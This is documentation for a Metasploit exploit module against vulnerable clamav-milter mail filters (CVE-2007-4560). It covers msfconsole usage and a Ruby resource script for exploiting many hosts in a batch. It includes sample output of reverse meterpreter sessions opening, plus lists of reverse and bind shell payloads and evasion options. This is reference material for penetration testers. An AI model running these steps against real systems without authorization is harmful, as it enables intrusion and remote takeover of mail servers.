ClamAV Milter Blackhole-Mode Remote Code Execution - Metasploit


This page contains detailed information about how to use the exploit/unix/smtp/clamav_milter_blackhole metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: ClamAV Milter Blackhole-Mode Remote Code Execution
Module: exploit/unix/smtp/clamav_milter_blackhole
Source code: modules/exploits/unix/smtp/clamav_milter_blackhole.rb
Disclosure date: 2007-08-24
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: smtp, smtps
Target network port(s): 25, 465, 587, 2525, 25000, 25025
List of CVEs: CVE-2007-4560

This module exploits a flaw in the Clam AntiVirus suite 'clamav-milter' (Sendmail mail filter). Versions prior to v0.92.2 are vulnerable. When implemented with black hole mode enabled, it is possible to execute commands remotely due to an insecure popen call.

Module Ranking and Traits

Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage

Using clamav_milter_blackhole against a single host

Normally, you can use exploit/unix/smtp/clamav_milter_blackhole this way:

msf > use exploit/unix/smtp/clamav_milter_blackhole
msf exploit(clamav_milter_blackhole) > show targets
    ... a list of targets ...
msf exploit(clamav_milter_blackhole) > set TARGET target-id
msf exploit(clamav_milter_blackhole) > show options
    ... show and set options ...
msf exploit(clamav_milter_blackhole) > exploit

Using clamav_milter_blackhole against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your clamav_milter_blackhole will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/unix/smtp/clamav_milter_blackhole")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the unix/smtp/clamav_milter_blackhole exploit module looks in the msfconsole:

msf6 > use exploit/unix/smtp/clamav_milter_blackhole

msf6 exploit(unix/smtp/clamav_milter_blackhole) > show info

       Name: ClamAV Milter Blackhole-Mode Remote Code Execution
     Module: exploit/unix/smtp/clamav_milter_blackhole
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2007-08-24

Provided by:
  aushack <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name      Current Setting     Required  Description
  ----      ---------------     --------  -----------
  MAILFROM  [email protected]  yes       FROM address of the e-mail
  MAILTO    nobody@localhost    yes       TO address of the e-mail
  RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     25                  yes       The target port (TCP)

Payload information:
  Space: 1024

Description:
  This module exploits a flaw in the Clam AntiVirus suite 
  'clamav-milter' (Sendmail mail filter). Versions prior to v0.92.2 
  are vulnerable. When implemented with black hole mode enabled, it is 
  possible to execute commands remotely due to an insecure popen call.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2007-4560
  OSVDB (36909)
  http://www.securityfocus.com/bid/25439
  https://www.exploit-db.com/exploits/4761

Module Options

This is a complete list of options available in the unix/smtp/clamav_milter_blackhole exploit:

msf6 exploit(unix/smtp/clamav_milter_blackhole) > show options

Module options (exploit/unix/smtp/clamav_milter_blackhole):

   Name      Current Setting     Required  Description
   ----      ---------------     --------  -----------
   MAILFROM  [email protected]  yes       FROM address of the e-mail
   MAILTO    nobody@localhost    yes       TO address of the e-mail
   RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     25                  yes       The target port (TCP)

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options

Here is a complete list of advanced options supported by the unix/smtp/clamav_milter_blackhole exploit:

msf6 exploit(unix/smtp/clamav_milter_blackhole) > show advanced

Module advanced options (exploit/unix/smtp/clamav_milter_blackhole):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   CHOST                                    no        The local client address
   CPORT                                    no        The local client port
   ConnectTimeout          10               yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                     false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Exploit Targets

Here is a list of targets (platforms and systems) which the unix/smtp/clamav_milter_blackhole module can exploit:

msf6 exploit(unix/smtp/clamav_milter_blackhole) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the unix/smtp/clamav_milter_blackhole exploit:

msf6 exploit(unix/smtp/clamav_milter_blackhole) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   1   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   2   payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   3   payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   4   payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   5   payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   6   payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   7   payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   8   payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   9   payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   10  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   11  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   12  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)

Evasion Options

Here is the full list of possible evasion options supported by the unix/smtp/clamav_milter_blackhole exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(unix/smtp/clamav_milter_blackhole) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • aushack

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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